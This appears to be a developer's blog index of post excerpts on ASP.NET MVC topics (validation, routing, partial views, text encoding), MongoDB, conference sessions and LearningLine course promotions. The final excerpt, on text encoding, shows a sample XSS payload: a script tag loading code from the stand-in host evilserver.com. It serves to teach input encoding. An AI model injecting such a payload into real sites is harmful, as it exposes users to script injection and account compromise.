Come to my SDD Conference sessions in May, 2014

sdd14_speak_wide500

I’m super excited to announce that I’ll be speak at the brand new SDD conference in London next May. I’ll be doing two sessions on ASP.NET MVC and two on MongoDB as well as a full day post conference workshop on MongoDB.

I hope to see you there.

Cheers,
@mkennedy

Reblogged: What should I learn to get started in .NET and web development?

[Note: I am reblogging this post which originally was posted to the LearningLine blog. Hope you all find it useful here as well]

I recently had a conversation with someone who is looking to make a fresh start and become a developer (coming from other IT positions).  The question they had was:

What should I learn to get started in .NET and web development?

Now this question was starting from a position of “I’d like to get started with .NET and the web. How do I do that?” So please hold your “No, choose Ruby (or NodeJS or … )” comments. That’s another blog post. :)

Here’s my advice along with a bunch of courses you can use to accomplish this efficiently and affordably. Continue reading

Take the first hour of any online developer course for free at LearningLine

[Note: reblogged from blog.learninglineapp.com. I'd like to personally invite you to check out our work over at LearningLine - just follow the links below.]

We believe that LearningLine is the most effective online training for developers, period. Today it gets even better. We are announcing the ability to preview any of our online courses, for free without entering any payment information.

This is not a trial that becomes a subscription or a silly 5 minute preview like other company’s offer.  You can now study approximately the first hour of any one of our courses. And you can spend as much time as you like doing so.

To get started, just head over to our schedule page, click on any course title you’d like and choose “Preview course for free“:

   preview-online-developer-course-for-free

This means there is now lot of content available to you right now. At a typical student speed working for an hour a day, it would take over a month to complete all the content that is available for preview. Continue reading

3 Open-Source Validation Projects for ASP.NET MVC

The goal of this post is to show you validation options beyond those that come in-the-box from Microsoft and the ASP.NET team.

Currently, there are nine pre-built validation attributes that come with MVC:

hierarchy

While these are very helpful, knowing where to look to find additional validation options is super helpful. For example, what if the State property is only supposed to be required if Country property is set to USA? Good luck with that one! Continue reading

Screencast – Validating ASP.NET MVC Forms with DataAnnotations

Here’s a new screencast for you MVC guys and gals out there.

Validating ASP.NET MVC Forms with DataAnnotations

In this short screencast, I will show you how to leverage ASP.NET MVC’s excellent model binding as well as the DataAnnotations attributes to easily add both server-side and client-side validation for MVC websites.

Tips for optional parameters to ASP.NET MVC action methods

Here’s a quick ASP.NET MVC tip to help you be more productive and write cleaner code. We will see how to leverage C# 4′s optional and default parameters in our action methods for greatly simplifying our code while keeping it fully functional and error free.

Often you want to pass data to your controllers based on URL parameters. This can either be part of the URL itself in the case of route data or it can be part of the query string. In fact, this tip even works for input forms.

Let’s take a basic method which shows some census data, potentially filtered and sorted if that information is passed along, otherwise we’ll just show everything with a default sort.

value-types Continue reading

Attend my sessions at DevWeek 2013 in London

Want to see some of the topics covered in my blog presented live and in-person? Make your way to London in March 2013 to DevWeek! I’ll be presenting 4 sessions covering NoSQL, ASP.NET MVC, and Cloud (Auzre and AWS mostly). Details below.

Continue reading

Introduction to ASP.NET MVC Routes

Here’s another screencast, this time on MVC and routing.

In this short screencast, I’ll show you everything you need to know to get started with ASP.NET MVC routing. You’ll see how default routes in MVC map to controllers and actions. Next you’ll see how to map additional data from query-strings in addition to simple route data. Finally, we’ll create a custom route to pass additional data in a clean, URL based manor.

Create new ASP.NET MVC views the easy way

As an instructor at DevelopMentor, I have the unique opportunity to watch many developers experience ASP.NET MVC for the first time. This typically goes through several stages:

  1. Extreme Interest (the web is exciting again!)
  2. Confusion (where does the view go again? wait, what’s routing?)
  3. Shock (you have got to be kidding, forearch in the html file?)
  4. Loss (surely there are some drag-and-drop controls, right… right?)
  5. Acceptance (OK, I will learn HTML and CSS after 10 years of working on the web)
  6. Joy and Freedom (How could I have ever used webforms?)

I rarely hear developers who’ve adopted MVC returning to webforms voluntarily. But not everyone makes it to level 6 of MVC enlightenment. So here is an article to help the new comers make it across step 2 more easily as well as help the advanced MVC developers be more productive. Continue reading

Nested Layouts in ASP.NET MVC

In this screencast, I’ll show you how easy it is to create ASP.NET MVC layout pages based on existing layout pages. This let’s you achieve a nested layout which you can compose to build beautiful websites in MVC with minimal code duplication or effort.

You can download the code if you’re interested.

Improve perceived performance of ASP.NET MVC websites with asynchronous partial views

github_icon

[Note: The code for this project is available on GitHub.]

Imagine you’re building an ASP.NET MVC website which has some performance problems. I’m sure this would never actually happen to you, but imagine you’re facing this problem just for the sake of exploring the possibilities. :-)

Now, your web app is mostly fast and responsive, but there are certain types of data that just bring the whole thing to a grind. This article will cover a technique using ASP.NET MVC partial views, along with just a sprinkle of jQuery, JavaScript, and HTML5 to make your site feel nice and responsive even if you cannot increase the speed of certain operations. Continue reading

Screencast: Refactoring with Partial Views in MVC

In this screencast, I show you how to create maintainable and readable ASP.NET MVC razor views by refactoring them into smaller, reusable blocks with partial views.

Download the code: Refactoring-with-Partial-Views-in-MVC-Kennedy.zip

Screencast: Strongly-Typed Views in ASP.NET MVC

In this screencast I discuss the how to create strongly-typed razor views in ASP.NET MVC. We look at how Models can be used to pass data (both simple and complex) from controller action methods down to razor views. We also look at the concept of ViewModels which hold aggregate data to pass to views. Finally, we cover some of the tooling for generating views in Visual Studio.

Download the code: Kennedy.Mvc.StronglyTypedViews.zip

Screencast: ViewBag and View Data in ASP.NET MVC

In this screencast I discuss the ViewBag and ViewData properties in ASP.NET MVC. We look at how they can be used to pass data (both simple and complex) from controller action methods down to razor views.

Download the code: Code-Kennedy.Mvc.ViewBagsAndViewData.zip

Understanding Text Encoding in ASP.NET MVC (ASP.NET MVC Foundations Series)

[The code for this post is available on GitHub]

This article covers the various ways in which you might handle text encoding in ASP.NET MVC. For example, if you were writing a forum web app, you should absolutely be paranoid about what your users are typing into your site. You need to be very careful about how you redisplay their input. For example, a friendly forum user might write something like:

Nice post, thanks for sharing!

On the other hand, they may write:

<script src=”http://evilserver.com/xss.js”></script&gt;
<script>xss.doBadDeeds();</script>

If you turn around and show this “post” to your other uses, maybe they’ll get hacked. At a minimum, the evil-doers could be a nuisance to your real users.

On the other hand, if you’re building a CMS or utility helper method, you do not want to filter out the HTML a user might type. They probably need to enter some HTML which you’ll want to show to all the other users. Same thing goes for code your app might generate.

There are at least three ways which MVC manages and encodes (or does not encode) text data. Knowing which scenario you’re targeting allows you to choose the right option. We’ll look at four examples in this post:

  1. A forum app which can be hacked
  2. A forum app which is safe from XSS injection
  3. A CMS app with rich text editing
  4. Generating HTML in code for use in MVC Razor views

Continue reading